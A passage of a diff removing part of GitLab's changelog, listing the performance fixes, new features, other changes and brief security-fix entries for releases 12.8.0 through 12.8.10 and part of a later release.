-- Cache milestone issue counters and make them independent of user permissions. !21554
-- Persist expanded environment name in ci build metadata. !22374
-- Diffs load each view style separately, on demand. !24821
-- Project repositories are no longer cloned by default when running DAST. !25320
-- Enable Workhorse upload acceleration for Project Import API. !25361
-- Add API pagination for deployed merge requests. !25733
-- Upgrade to Bootsnap 1.4.6. !25844
-- Improve performance of Repository#merged_branch_names. !26005
-- Fix N+1 in Group milestone view. !26051
-- Project Snippets API endpoints check feature status. !26064
-- Memoize loading of CI variables. !26147
-- Refactor workhorse passthrough URL checker. !26157 (Takuya Noguchi)
-- Project Snippets GraphQL resolver checks feature status. !26158
-- Improved MR toggle file performance by hiding instead of removing. !26181
-- Use Workhorse acceleration for Project Import file upload via UI. !26278
-- Improve SnippetsFinder performance with disabled project snippets. !26295
-- Add trigram index on snippet description. !26341
-- Optimize todos counters in usage data. !26442
-- Optimize event counters query performance in usage data. !26444
-- Ensure RepositoryLinkFilter handles Gitaly failures gracefully. !26531
-- Fix N+1 queries for PipelinesController#index.json. !26643
-- Optimize Project related count with slack service. !26686
-- Optimize Project counters with respository enabled counter. !26698
-- Optimize Deployment related counters. !26757
-- Optimize ci_pipelines counters in usage data. !26774
-- Improve performance of the "has this commit been reverted?" check. !26784
-- Optimize Project counters with pipelines enabled counter. !26802
-- Optimize notes counters in usage data. !26871
-- Optimize clusters counters query performance in usage data. !26887
-- Enable Workhorse upload acceleration for Project Import uploads via API. !26914
-- Use process-wide memory cache for feature flags. !26935
-- Optimize services usage counters using batch counters. !26973
-- Optimize Project related count service desk enabled. !27115
-- Swap to UNLINK for Redis set cache. !27116
-- Optimize members counters query performance in usage data. !27197
-- Use batch counters instead of approximate counters in usage data. !27218
-- Enable Redis cache key compression. !27254
-- Move feature flag list into process cache. !27511
-- Remove duplicate authorization refresh for group members on project creation.
-- Optimize project representation in large imports.
-- Replace several temporary indexes with a single one to save time when running mentions migration.
-
-### Added (115 changes, 16 of them are from the community)
-
-- Notifications for when pipelines are fixed. !16951 (Jacopo Beschi @jacopo-beschi)
-- Backport API support to move between repository storages/shards. !18721 (Ben Bodenmiller)
-- Add ability to trigger pipelines when project is rebuilt. !20063
-- Add user dismiss option to broadcast messages. !20665 (Fabio Huser)
-- Show notices in Admin area when detected any of these cases: Puma, multi-threaded Puma, multi-threaded Puma + Rugged. !21403
-- Update git workflows and routes to allow snippets. !21739
-- Add Cobertura XML coverage visualization to merge request diff view. !21791 (Fabio Huser)
-- Add 2FA support to admin mode feature. !22281 (Diego Louzán)
-- GraphQL: Add Board type. !22497 (Alexander Koval)
-- Add/update services to delete snippets repositories. !22672
-- Render single snippet blob in repository. !23848
-- Commit file when snippet is created. !23953
-- Addition of the Group Deploy Token interface. !24102
-- Allow multiple Slack channels for notifications. !24132
-- Import/Export snippet repositories. !24150
-- Add custom validator for validating file path. !24223 (Rajendra Kadam)
-- Add a bulk processor for elasticsearch incremental updates. !24298
-- Send alert emails for generic incident alerts. !24414
-- Introduce default branch protection at the group level. !24426
-- Add "New release" button to Releases page. !24516
-- Nudge users to select a gitlab-ci.yml template. !24622
-- Allow enabling/disabling modsecurity from UI. !24747
-- Add possibility to track milestone changes on issues and merge requests. !24780
-- Allow group/project board to be queried by ID via GraphQL. !24825
-- Add functionality to revoke a X509Certificate and update related X509CommitSignatures. !24889 (Roger Meier)
-- Update file content of an existing custom dashboard. !25024
-- Add deploy tokens instance API endpoint. !25066
-- Add support for alert-based metric embeds in GFM. !25075
-- Add restrictions for signup email addresses. !25122
-- Add accessibility scanning CI template. !25144
-- Expose `plan` and `trial` to `/users/:id` endpoint. !25151
-- Add "Job Title" field in user settings and display on profile. !25155
-- Add endpoint for listing all deploy tokens for a project. !25186
-- Add api endpoint for listing deploy tokens for a group. !25219
-- Add API endpoint for deleting project deploy tokens. !25220
-- Add API endpoint for deleting group deploy tokens. !25222
-- Allow users to get Merge Trains entries via Public API. !25229
-- Added CI_MERGE_REQUEST_CHANGED_PAGE_* to Predefined Variables reference. !25256
-- Add missing arguments to UpdateIssue mutation. !25268
-- Add api endpoint to create deploy tokens. !25270
-- Automatically include embedded metrics for GitLab alert incidents. !25277
-- Allow to create masked variable from group variables API. !25283 (Emmanuel CARRE)
-- Add migration to create self monitoring project environment. !25289
-- Add deploy and re-deploy buttons to deployments. !25427
-- Replaced ACE with Monaco editor for Snippets. !25465
-- Add support for user Job Title. !25483
-- Add name_regex_keep param to container registry bulk delete API endpoint. !25484
-- Add Project template for Gatsby. !24192
-- Add filepath to ReleaseLink. !25512
-- Added Drop older active deployments project setting. !25520
-- Add filepath to release links API. !25533
-- Adds new activity panel to package details page. !25534
-- Add filepath redirect url. !25541
-- Add version column to operations_feature_flags table. !25552
-- Filter commits by author. !25597
-- Add api endpoint for creating group deploy tokens. !25629
-- Expose assets filepath URL on UI. !25635
-- Update moved service desk issues notifications. !25640
-- Allow chart descriptions for Insights. !25686
-- Allow to disable inheritance of default job settings. !25690
-- Support more query variables in custom dashboards per project. !25732
-- All image diffs (except for renamed files) show the image file size in the diff. !25734
-- Optional custom icon in the OmniAuth login labels. !25744 (Tobias Wawryniuk, Luca Leonardo Scorcia)
-- Add avatar upload support for create and update group APIs. !25751 (Rajendra Kadam)
-- Add properties to the dashboard definition to customize y-axis format. !25785
-- Empty state for Code Review Analytics. !25793
-- Search issues in GraphQL API by milestone title and assignees. !25794
-- Add package_type as a filter option to the packages list API endpoint. !25816
-- Add support for configuring remote mirrors via API. !25825 (Rajendra Kadam)
-- Display base label in versions drop down. !25834
-- Create table & setup operations endpoint for Status Page Settings. !25863
-- Update Ingress chart version to 1.29.7. !25949
-- Include snippet description as part of snippet title search (basic search). !25961
-- Add admin API endpoint to delete Sidekiq jobs matching metadata. !25998
-- Add documentation for create remote mirrors API. !26012 (Rajendra Kadam)
-- Update charts documentation and common_metrics.yml to enable data formatting. !26048
-- Allow issues/merge_requests as an issuable_type in Insights configuration. !26061
-- Add migration for Requirement model. !26097
-- Create scim_identities table in preparation for newer SCIM features in the future. !26124
-- Add web_url attribute to API response for Commits. !26173
-- Filter sentry error list by status (unresolved/ignored/resolved). !26205
-- Add grape custom validator for sha params. !26220 (Rajendra Kadam)
-- Update cluster-applications to v0.9.0. !26242
-- Support DotEnv Variables through report type artifact. !26247
-- More logs entries are loaded when logs are scrolled to the top. !26254
-- Introduce db table to store users statistics. !26261
-- Add title to Analytics sidebar menus. !26265
-- Added package_name as filter parameter to packages API. !26291
-- Added tracking to merge request jump to next thread buttons. !26319 (Martin Hobert)
-- Introduce optional expiry date for SSH Keys. !26351
-- Show cluster status (FE). !26368
-- Add CI template to deploy to ECS. !26371
-- Make hostname configurable for smartcard authentication. !26411
-- Filter rules by target_branch in approval_settings. !26439
-- Add CRUD for Instance-Level Integrations. !26454
-- Add vars to allow air-gapped usage of Retire.js (Dependency Scanning). !26463
-- Upgrade Pages to 1.17.0. !26478
-- Add dedicated Release page for viewing a single Release. !26502
-- Allow selecting all queues with sidekiq-cluster. !26594
-- Enable feature Dynamic Child Pipeline creation via artifact. !26648
-- Generate JSON-formatted a11y CI artifacts. !26687
-- Add anchor tags to related issues and related merge requests. !26756 (Gilang Gumilar)
-- Added Blob Description Edit component in Vue. !26762
-- Added Edit Visibility Vue compoenent for Snippet. !26799
-- Add package_type as a filter option to the group packages list API endpoint. !26833
-- Update UI for project and group settings CI variables. !26901
-- Track merge request cherry-picks. !26907
-- Introduce database table for user highest roles. !26987
-- Add ability to whitelist ports. !27025
-- Add issue summary to Release blocks on the Releases page. !27032
-- Support sidekiq-cluster supervision through bin/background_jobs. !27042
-- Adds crossplane as CI/CD Managed App. !27374
-- Update UI for project and group settings CI variables. !27411
-- Add remote mirrors API.
-- Add changed pages dropdown to visual review modal.
-
-### Other (66 changes, 22 of them are from the community)
-
-- Make design_management_versions.created_at not null. !20182 (Lee Tickett)
-- Drop forked_project_links table. !20771 (Lee Tickett)
-- Moves refreshData from issue model to board store. !21409 (nuwe1)
-- Use DNT: 1 as an experiment opt-out mechanism. !22100
-- Include full path to an upload in api response. !23500 (briankabiro)
-- Update Ruby version in official CI templates. !23585 (Takuya Noguchi)
-- Schedule worker to migrate security job artifacts to security scans. !24125
-- Move namespace of Secure Sidekiq queues. !24340
-- Remove spinner from app/views/projects/notes. !25015 (nuwe1)
-- Migrate .fa-spinner to .spinner for ee/app/views/shared/members. !25019 (nuwe1)
-- Migrate .fa-spinner to .spinner for app/views/ide. !25022 (nuwe1)
-- Remove spinner from app/views/award_emoji. !25032 (nuwe1)
-- Remove .fa-spinner from app/views/projects/forks. !25034 (nuwe1)
-- Remove .fa-spinner from app/views/snippets/notes. !25036 (nuwe1)
-- Migrate .fa-spinner to .spinner for app/views/help. !25037 (nuwe1)
-- Replaced underscore with lodash for app/assets/javascripts/lib. !25042 (Shubham Pandey)
-- Remove unused loading spinner from badge_settings partial. !25044 (nuwe1)
-- Migrate .fa-spinner to .spinner for app/views/projects/find_file. !25051 (nuwe1)
-- Migrate .fa-spinner to .spinner for app/assets/javascripts/notes/components/discussion_resolve_button.vue. !25055 (nuwe1)
-- Change OmniAuth log format to JSON. !25086
-- migrate fa spinner for notification_dropdown.js. !25141 (minghuan)
-- Use new loading spinner in Todos dashboard buttons. !25142 (Tsegaselassie Tadesse)
-- Refuse to start web server without a working ActiveRecord connection. !25160
-- Simplifying colors in the Web IDE. !25304
-- Clean up conditional `col-` classes in `nav_dropdown_button.vue`. !25312
-- Only load usage ping cron schedule for Sidekiq. !25325
-- Update rouge to v3.16.0. !25334 (Konrad Borowski)
-- Update project's permission settings description to reflect actual permissions. !25523
-- Use clearer error message for pages deploy job when the SHA is outdated. !25659
-- Add index on LOWER(domain) for pages_domains. !25664
-- Remove repository_storage column from snippets. !25699
-- Add instance column to services table. !25714
-- Update GitLab Runner Helm Chart to 0.14.0. !25749
-- Update loader for various project views. !25755 (Phellipe K Ribeiro)
-- Clarify private visibility for projects. !25852
-- Do not parse undefined severity and confidence from reports. !25884
-- Remove special chars from previous and next items in pagination. !25891
-- Update Auto DevOps deployment template's auto-deploy-image to v0.10.0 (updates the included glibc). !25920
-- Update DAST auto-deploy-image to v0.10.0. !25922
-- Optimize storage usage for newly created ES indices. !25992
-- Replace undefined severity with unknown severity for occurrences. !26085
-- Replace undefined severity with unknown severity for vulnerabilities. !26305
-- Remove unused Snippets#content_types method. !26306
-- Change tooltip text for pipeline on last commit widget. !26315
-- Resolve Change link-icons on security configuration page to follow design system. !26340
-- Put System Metrics chart group first in default dashboard. !26355
-- Validates only one service template per type. !26380
-- update table layout for error tracking list on medium view ports. !26479
-- Validate absence of project_id if service is a template. !26563
-- Move sidekiq-cluster script to Core. !26703
-- Update GitLab's codeclimate to 0.85.9. !26712 (Eddie Stubbington)
-- Bump minimum node version to v10.13.0. !26831
-- Remove promoted notes temporary index. !26896
-- Update Project Import API rate limit. !26903
-- Backfill LfsObjectsProject records of forks. !26964
-- Add migration for creating open_project_tracker_data table. !26966
-- Fixed SSH warning style. !26992
-- Use new codequality docker image from ci-cd group. !27098
-- Add tooltip to modification icon in the file tree. !27158
-- Upgrade Gitaly gem and fix UserSquash RPC usage. !27372
-- Replace issue-external icon with external-link. !208827
-- Add keep_divergent_refs to remote_mirrors table.
-- Replace issue-duplicate icon with duplicate icon.
-- Add confidential attribute to notes table.
-- Replace content_viewer_spec setTimeouts with semantic actions / events. (Oregand)
-- Improvement in token reference.
-
-
-## 12.8.10 (2020-04-30)
-
-### Security (7 changes)
-
-- Ensure MR diff exists before codeowner check.
-- Prevent unauthorized access to default branch.
-- Do not return private project ID without permission.
-- Fix doorkeeper CVE-2020-10187.
-- Prevent ES credentials leak.
-- Return only safe urls for mirrors.
-- Validate workhorse 'rewritten_fields' and properly use them during multipart uploads.
-
-
-## 12.8.9 (2020-04-14)
-
-### Security (3 changes)
-
-- Refresh ProjectAuthorization during Group deletion.
-- Prevent filename bypass on artifact upload.
-- Update rack and related gems to 2.0.9 to fix security issue.
-
-
-## 12.8.7 (2020-03-16)
-
-### Fixed (1 change, 1 of them is from the community)
-
-- Fix crl_url parsing and certificate visualization. !25876 (Roger Meier)
-
-
-## 12.8.6 (2020-03-11)
-
-### Security (1 change)
-
-- Do not enable soft email confirmation by default.
-
-
-## 12.8.5
-
-### Fixed (8 changes)
-
-- Fix Group Import API file upload when object storage is disabled. !25715
-- Fix Web IDE fork modal showing no text. !25842
-- Fixed regression when URL was encoded in a loop. !25849
-- Fixed repository browsing for folders with non-ascii characters. !25877
-- Fix search for Sentry error list. !26129
-- Send credentials with GraphQL fetch requests. !26386
-- Show CI status in project dashboards. !26403
-- Rescue invalid URLs during badge retrieval in asset proxy. !26524
-
-### Performance (2 changes)
-
-- Disable Marginalia line backtrace in production. !26199
-- Remove unnecessary Redis deletes for broadcast messages. !26541
-
-### Other (1 change, 1 of them is from the community)
-
-- Fix fixtures for Error Tracking Web UI. !26233 (Takuya Noguchi)
-
-
-## 12.8.4
-
-### Fixed (8 changes)
-
-- Fix Group Import API file upload when object storage is disabled. !25715
-- Fix Web IDE fork modal showing no text. !25842
-- Fixed regression when URL was encoded in a loop. !25849
-- Fixed repository browsing for folders with non-ascii characters. !25877
-- Fix search for Sentry error list. !26129
-- Send credentials with GraphQL fetch requests. !26386
-- Show CI status in project dashboards. !26403
-- Rescue invalid URLs during badge retrieval in asset proxy. !26524
-
-### Performance (2 changes)
-
-- Disable Marginalia line backtrace in production. !26199
-- Remove unnecessary Redis deletes for broadcast messages. !26541
-
-### Other (1 change, 1 of them is from the community)
-
-- Fix fixtures for Error Tracking Web UI. !26233 (Takuya Noguchi)
-
-
-## 12.8.3
-
-### Fixed (8 changes)
-
-- Fix Group Import API file upload when object storage is disabled. !25715
-- Fix Web IDE fork modal showing no text. !25842
-- Fixed regression when URL was encoded in a loop. !25849
-- Fixed repository browsing for folders with non-ascii characters. !25877
-- Fix search for Sentry error list. !26129
-- Send credentials with GraphQL fetch requests. !26386
-- Show CI status in project dashboards. !26403
-- Rescue invalid URLs during badge retrieval in asset proxy. !26524
-
-### Performance (2 changes)
-
-- Disable Marginalia line backtrace in production. !26199
-- Remove unnecessary Redis deletes for broadcast messages. !26541
-
-### Other (1 change, 1 of them is from the community)
-
-- Fix fixtures for Error Tracking Web UI. !26233 (Takuya Noguchi)
-
-
-## 12.8.2
-
-### Security (17 changes)
-
-- Update container registry authentication to account for login request when checking permissions.
-- Update ProjectAuthorization when deleting or updating GroupGroupLink.
-- Prevent an endless checking loop for two merge requests targeting each other.
-- Update user 2fa when accepting a group invite.
-- Fix for XSS in branch names.
-- Prevent directory traversal through FileUploader.
-- Run project badge images through the asset proxy.
-- Check merge requests read permissions before showing them in the pipeline widget.
-- Respect member access level for group shares.
-- Remove OID filtering during LFS imports.
-- Protect against denial of service using pipeline webhook recursion.
-- Expire account confirmation token.
-- Prevent XSS in admin grafana URL setting.
-- Don't require base_sha in DiffRefsType.
-- Sanitize output by dependency linkers.
-- Recalculate ProjectAuthorizations for all users.
-- Escape special chars in Sentry error header.
-
-### Other (1 change, 1 of them is from the community)
-
-- Fix fixtures for Error Tracking Web UI. !26233 (Takuya Noguchi)
-
-
-## 12.8.1
-
-### Fixed (5 changes)
-
-- Fix markdown layout of incident issues. !25352
-- Time series extends axis options correctly. !25399
-- Fix "Edit Release" page. !25469
-- Fix upgrade failure in EE displaying license. !25788
-- Fixed last commit widget when Gravatar is disabled.
-
-
-## 12.8.0
-
-### Security (6 changes, 2 of them are from the community)
-
-- Upgrade Doorkeeper to 4.4.3 to address CVE-2018-1000211. !20953
-- Upgrade Doorkeeper to 5.0.2. !21173
-- Update webpack related packages. !22456 (Takuya Noguchi)
-- Update rubyzip gem in qa tests to 1.3.0 to fix CVE-2019-16892. !24119
-- Update GraphicsMagick from 1.3.33 to 1.3.34. !24225 (Takuya Noguchi)
-- Update handlebars to remove issues from dependency dashboard.
-
-### Removed (2 changes, 1 of them is from the community)
-
-- Remove temporary index at services on project_id. !24263
-- Remove CI status from Projects Dashboard. !25225 (George Thomas @thegeorgeous)
-
-### Fixed (136 changes, 21 of them are from the community)
-
-- When a namespace GitLab Subscription expires, disable SSO enforcement. !21135
-- Fix bug with snippet counts not being scoped to current authorisation. !21705
-- Log user last activity on REST API. !21725
-- Create LfsObjectsProject record for forks as well. !22418
-- Limit size of diffs returned by /projects/:id/repository/compare API endpoint. !22658
-- Fix spacing and UI on Recent Deliveries section of Project Services. !22666
-- Improve error messages when adding a child epic. !22688
-- Fixes a new line issue with suggestions in the last line of a file. !22732
-- Use POSTGRES_VERSION variable in Auto DevOps Test stage. !22884 (Serban Marti)
-- Include milestones from subgroups in the list of Group Milestones. !22922
-- Authenticate user when scope is passed to events api. !22956 (briankabiro)
-- Limit productivity analytics graph y-axis scale to whole numbers. !23140
-- Fix GraphiQL when GitLab is installed under a relative URL. !23143 (Mathieu Parent)
-- Stop NoMethodError happening for 1.16+ Kubernetes clusters. !23149
-- Fix advanced global search permissions for guest users. !23177
-- Fix JIRA DVCS retrieving repositories. !23180
-- Fix logs api etag issues with elasticsearch. !23249
-- Add border radius and remove blue outline on recent searches filter. !23266
-- Fix premailer and S/MIME emailer hooks order. !23293 (Diego Louzán)
-- Fix Web IDE alert message look and feel. !23300 (Sean Nichols)
-- Ensure that error tracking frontend only polls when required. !23305
-- Fixes spacing issue in modal footers. !23327
-- Fix POST method in dashboard link for disabling admin mode. !23363 (Diego Louzán)
-- Fix Markdown not rendering on releases page. !23370
-- Fix pipeline status loading errors on project dashboard page caused by Gitaly connection failures. !23378
-- Improve message UI on Microsoft Teams notification. !23385 (Takuya Noguchi)
-- Use state machine in Merge Train to avoid race conditions. !23395
-- Prevent DAG builds to run after skipped need build. !23405
-- Fixes AutoMergeProcessWorker failing when merge train service is not available for a merge request. !23407
-- Fix error when assigning an existing asignee. !23416
-- Fix outdated MR security warning message. !23496
-- Fix missing API notification argument for Microsoft Teams. !23571 (Seiji Suenaga)
-- Support the bypass 2FA function with ADFS SAML. !23615
-- Require other stages than .pre and .post. !23629
-- Remove the OpenSSL include within SMIME email signing. !23642 (Roger Meier)
-- Fix custom charts in monitoring dashboard shrinking. !23649
-- Correctly render mermaid digrams inside details blocks. !23662
-- Fix Pipeline failed notification email not being delivered if the failed job is a bridge job. !23668
-- Call DetectRepositoryLanguagesWorker only for project repositories. !23696
-- Fix emails on push integrations created before 12.7. !23699
-- Fix hash parameter of Permalink and Blame button. !23713
-- Task lists work correctly again on closed MRs. !23714
-- Fix broken link to documentation. !23715
-- Trim extra period when merge error displayed. !23737
-- Skip squashing with only one commit in a merge request. !23744
-- Fix 500 error when trying to unsubscribe from an already deleted entity. !23747
-- Fix some of the file encoding issues when uploading in the Web IDE. !23761
-- Remove keep button for non archive artifacts. !23762
-- Ensure all Project records have a corresponding ProjectFeature record. !23766
-- Fix design of snippet search results page. !23780
-- Fix Merge Request comments when some notes are corrupt. !23786
-- Add optional angle brackets in address_regex. !23797 (Max Winterstein)
-- Eliminate statement timeouts when namespace is blank. !23839
-- Remove unstaged and staged modification tooltip. !23847
-- Allow Owner access level for sharing groups with groups. !23868
-- Allow running child pipelines as merge request pipelines. !23884
-- Fix user popover glitch. !23904
-- Return 404 when repository archive cannot be retrieved. !23926
-- Fix 503 errors caused by Gitaly failures during project_icon lookup. !23930
-- Fix showing 'NaN files' when a MR diff does not have any changes. !24002
-- Label MR test modal execution time as seconds. !24019
-- Fix copy markdown with elements with no text content. !24020
-- Disable pull mirror importing for archived projects. !24029
-- Remove gray color from diff buttons. !24041
-- Prevent project path namespace overflow during import. !24042 (George Tsiolis)
-- Fix JIRA::HTTPError initialize parameter. !24060
-- Fix multiline issue when loading env vars from DinD in SAST. !24108
-- Clean backgroud_migration queue from ActivatePrometheusServicesForSharedCluster jobs. !24135
-- Fix quoted-printable encoding for unicode and newlines in mails. !24153 (Diego Louzán)
-- Replace artifacts via Runner API if already exist. !24165
-- Port `trigger` keyword in CI config to Core. !24191
-- Fix race condition bug in Prometheus managed app update process. !24228
-- Hide label tooltips when dragging board cards. !24239
-- Fix dropdown caret not being positioned correctly. !24273
-- Enable recaptcha check on sign up. !24274
-- Avoid loading user activity calendar on mobile. !24277 (Takuya Noguchi)
-- Resolve Design discussion note preview is broken. !24288
-- Query projects of subgroups in productivity analytics. !24335
-- Query projects of subgroups in Cycle Analytics. !24392
-- Fix backup restoration with pre-existing wiki. !24394
-- Fix duplicated user popovers. !24405
-- Fix inconditionally setting user profile to public when updating via API and private_profile parameter is not present in the request. !24456 (Diego Louzán)
-- Enable Web IDE on projects without Merge Requests. !24508
-- Avoid double encoding of credential while importing a Project by URL. !24514
-- Redact push options from error logs. !24540
-- Fix merge train unnecessarily retries pipeline by a race condition. !24566
-- Show selected template type when clicked. !24596
-- Don't leak entire objects into the error log when rendering markup fails. !24599
-- Fix blobs search API degradation. !24607
-- Sanitize request parameters in exceptions_json.log. !24625
-- Add styles for board list labels when text is too long. !24627
-- Show blocked status for all blocked issues on issue boards. !24631
-- Ensure board lists are sorted consistently. !24637
-- Geo: Fix GeoNode name in geo:update_primary_node_url rake task. !24649
-- Fix link to base domain help in clusters view. !24658
-- Fix false matches of substitution-based quick actions in text. !24699
-- Fix pipeline icon background in Web IDE. !24707
-- Fix job page not loading because kuberenetes/prometheus URL is blocked. !24743
-- Fix signature badge popover on Firefox. !24756
-- Avoid autolinking YouTrack issue numbers followed by letters. !24770 (Konrad Borowski)
-- Fix 500 error while accessing Oauth::ApplicationsController without a valid session. !24775
-- Ensure a valid mount_point is used by the AvatarUploader. !24800
-- Fix k8s logs alert display state. !24802
-- Squelch Snowplow tracker log messages. !24809
-- Fix code line and line number alignment in Safari. !24820
-- Fixed default-branch link under Pipeline Subscription settings. !24834 (James Johnson)
-- Do not remove space from project name in Slack. !24851
-- Drop etag cache on logs API. !24864
-- Revert rename services template to instance migration. !24885
-- Geo: Don't clean up files in object storage when Geo is responsible of syncing them. !24901
-- Add missing colors on the monitoring dashboards. !24921
-- Upgrade omniauth-github gem to fix GitHub API deprecation notice. !24928
-- dragoon20. !24958 (Jordan Fernando)
-- Fix bug rendering BlobType markdown data. !24960
-- Use closest allowed visibility level on group creation when importing groups using Group Import/Export. !25026
-- Extend the list of excluded_attributes for group on Group Import. !25031
-- Update broken links to Cloud Run for Anthos documentation. !25159
-- Fix autocomplete limitation bug. !25167
-- Fix Group Import existing objects lookup when description attribute is an empty string. !25187
-- Fix N+1 queries caused by loading job artifacts archive in pipeline details entity. !25250
-- Fix sidekiq jobs not always getting a database connection when running with low concurrency. !25261
-- Fix overriding the image pull policy from a values file for Auto Deploy. !25271 (robcalcroft)
-- Pin Auto DevOps Docker-in-Docker service image to work around pull timeouts. !25286
-- Remove name & path from list of excluded attributes during Group Import. !25342
-- Time series extends axis options correctly. !25399
-- Fix "Edit Release" page. !25469
-- Ensure New Snippet button is displayed based on the :create_snippet permission in Project Snippets page and User profile > Snippets tab. !55240
-- Fix wrong MR link is shown on pipeline failure email.
-- Fix issue count wrapping on board list.
-- Allow long milestone titles on board lists to be truncated.
-- Update styles for pipeline status badge to be correctly vertically centered in project pipeline card. (Oregand)
-- MVC for assignees avatar dissapearing when opening issue sidebar in board. (Oregand)
-- Fix application settings not working with pending migrations.
-- Rename too long migration filename to address gem packaging limitations.
-- Add more accurate way of counting remaining background migrations before upgrading.
-- update main javascript file to only apply right sidebar class when an aside is present. (Oregand)
-
-### Deprecated (2 changes)
-
-- Move repository routes under - scope. !20455
-- Move merge request routes under /-/ scope. !21126
-
-### Changed (82 changes, 13 of them are from the community)
-
-- Move the clone button to the tree controls area. !17752 (Ablay Keldibek)
-- Add experimental --queue-selector option to sidekiq-cluster. !18877
-- Truncate related merge requests list in pipeline view. !19404
-- Increase pipeline email notification from 10 to 30 lines. !21728 (Philipp Hasper)
-- Sets size limits on data loaded async, like deploy boards and merge request reports. !21871
-- Deprecate /admin/application_settings in favor of /admin/application_settings/general. The former path is to be removed in 13.0. !22252 (Alexander Oleynikov)
-- Migrate epic, epic notes mentions to respective DB table. !22333
-- Restyle changes header & file tree. !22364
-- Let tie breaker order follow primary sort direction (API). !22795
-- Allow SSH keys API endpoint to be requested for a given username. !22899 (Rajendra Kadam)
-- Allow to deploy only forward deployments. !22959
-- Add blob and blob_viewer fields to graphql snippet type. !22960
-- Activate new project integrations by default. !23009
-- Rename Custom hooks to Server hooks. !23064
-- Reorder signup omniauth options. !23082
-- Cycle unresolved threads. !23123
-- Rename 'GitLab Instance Administration' project to 'GitLab self monitoring' project. !23182
-- Update pipeline status copy in deploy footer. !23199
-- Allow users to read broadcast messages via API. !23298 (Rajendra Kadam)
-- Default the `creation of a Mattermost team` checkbox to false. !23329 (briankabiro)
-- Makes the generic alerts endpoint available with the free tier. !23339
-- Allow to switch between cloud providers in cluster creation screen. !23362
-- Rename cycle analytics interfaces to value stream analytics. !23427
-- Upgrade to Gitaly v1.83.0. !23431
-- Groups::ImportExport::ExportService to require admin_group permission. !23434
-- Bump ingress managed app chart to 1.29.3. !23461
-- Add support for stacked column charts. !23474
-- Remove kibana_hostname column from clusters_applications_elastic_stacks table. !23503
-- Update rebasing to use the new two-phase Gitaly Rebase RPC. !23546
-- Fetch merge request widget data asynchronous. !23594
-- Include issues created in GitLab on error tracking details page. !23605
-- Add Epics Activity information to Group Export. !23613
-- Copy issues routing under - scope. !23779
-- Make Explore Projects default to All. !23811
-- Migrate CI CD statistics + duration chart to VueJS. !23840
-- Use NodeUpdateService for updating Geo node. !23894 (Rajendra Kadam)
-- Add support for column charts. !23903
-- Update PagesDomains data model for serverless domains. !23943
-- Upgrade to Gitaly v1.85.0. !23945
-- Change vague copy to clipboard icon to a clearer icon. !23983
-- Add award emoji information of Epics and Epic Notes to Group Import/Export. !24003
-- Make name, email, and location attributes readonly for LDAP enabled instances. !24049
-- Migrate CI CD pipelines charts to ECharts. !24057
-- Include license_scanning to index_ci_builds_on_name_for_security_products_values. !24090
-- Add mode field to snippet blob in GraphQL. !24157
-- Switch order of tabs in Web IDE nav dropdown. !24199
-- Hide comment button if on diff HEAD. !24207
-- Move commit routes under - scope. !24279
-- Move security routes under - scope. !24287
-- Restyle Merge Request diffs file tree. !24342
-- Limit length of wiki file/directory names. !24364
-- Admin mode support in sidekiq jobs. !24388 (Diego Louzán)
-- Expose theme and color scheme user preferences in API. !24409
-- Remove username lookup when mapping users when importing projects using Project Import/Export and rely on email only. !24464
-- Extend logs retention to period from 15 to 30 days. !24466
-- Move analytics pages under the sidebar for projects and groups. !24470
-- Rename 'Kubernetes configured' button. !24487
-- Test reports in the pipeline details page will now load when clicking the tests tab. !24577
-- Move Settings->Operations->Incidents to the Core. !24600
-- Upgrade to Gitaly v1.86.0. !24610
-- Conan packages are validated based on full recipe instead of name/version alone. !24692
-- WebIDE: Support # in branch names. !24717
-- Move Merge Request from right sidebar of Web IDE to bottom bar. !24746
-- Updated cluster-applications to v0.7.0. !24754
-- Add migration to save Instance Administrators group ID in application_settings table. !24796
-- Add percentile value support to single stat panel types. !24813
-- Parse filebeat modsec logs as JSON. !24836
-- Add plain_highlighted_data field to SnippetBlobType. !24856
-- Add Board Lists to Group Export. !24863
-- Replace underscore with lodash for ./app/assets/javascripts/mirrors. !24967 (Jacopo Beschi @jacopo-beschi)
-- Replace underscore with lodash in /app/assets/javascripts/helpers. !25014 (rkpattnaik780)
-- Migrate from class .fa-spinner to .spinner in app/assets/javascripts/gfm_auto_complete.js. !25039 (rk4bir)
-- Update cluster-applications to v0.8.0. !25138
-- Limit size of params array in JSON logs to 10 KiB. !25158
-- Omit error details from previous attempt in Sidekiq JSON logs. !25161
-- Remove unnecessary milestone join tables. !25198
-- Upgrade to Gitaly v1.87.0. !25370
-- Drop signatures in email replies. !25389 (Diego Louzán)
-- update service desk project to use GlLoadingIcon over font awesome spinner. (Oregand)
-- Search group-level objects among all ancestors during project import.
-- Add broadcast type to API.
-- Changed color of allowed to fail badge from danger to warning.
-
-### Performance (22 changes, 1 of them is from the community)
-
-- Check mergeability of MR asynchronously. !21026
-- Fix query performance in PipelinesFinder. !21092
-- Fix usage ping timeouts with batch counters. !22705
-- Remove N+1 query for profile notifications. !22845 (Ohad Dahan)
-- Limit page number on explore/projects. !22876
-- Prevent unnecessary Gitaly calls when rendering comment excerpts in todos and activity feed. !23100
-- Eliminate Gitaly N+1 queries loading submodules. !23292
-- Optimize page loading of Admin::RunnersController#show. !23309
-- Improve performance of the Container Registry delete tags API. !23325
-- Don't allow Gitaly calls to exceed the worker timeout set for unicorn or puma. !23510
-- Use CTE optimization fence for loading projects in dashboard. !23754
-- Optimize ref name lookups in archive downloads. !23890
-- Change broadcast message index. !23986
-- Add index to audit_events (entity_id, entity_type, id). !23998
-- Remove unneeded indexes on projects table. !24086
-- Load maximum 1mb blob data for a diff file. !24160
-- Optimize issue search when sorting by weight. !24208
-- Optimize issue search when sorting by due date and position. !24217
-- Refactored repository browser to use Vue and GraphQL. !24450
-- Improvement to merged_branch_names cache. !24504
-- Destroy user associations in batches like we do with projects. !24641
-- Cache repository merged branch names by default. !24986
-
-### Added (137 changes, 46 of them are from the community)
-
-- x509 signed commits using openssl. !17773 (Roger Meier)
-- Allow keyboard shortcuts to be disabled. !18782
-- Add API endpoints for 'soft-delete for groups' feature. !19430
-- Add UI for 'soft-delete for groups' feature. !19483
-- Introduce project_settings table. !19761
-- Expose current and last IPs to /users endpoint. !19781
-- Add Group Import API endpoint & update Group Import/Export documentation. !20353
-- Show Kubernetes namespace on job show page. !20983
-- Add admin settings panel for instance-level serverless domain (behind feature flag). !21222
-- Filter merge requests by approvals (API). !21379
-- Expose is_using_seat attribute for Member in API. !21496
-- Add querying of Sentry errors to Graphql. !21802
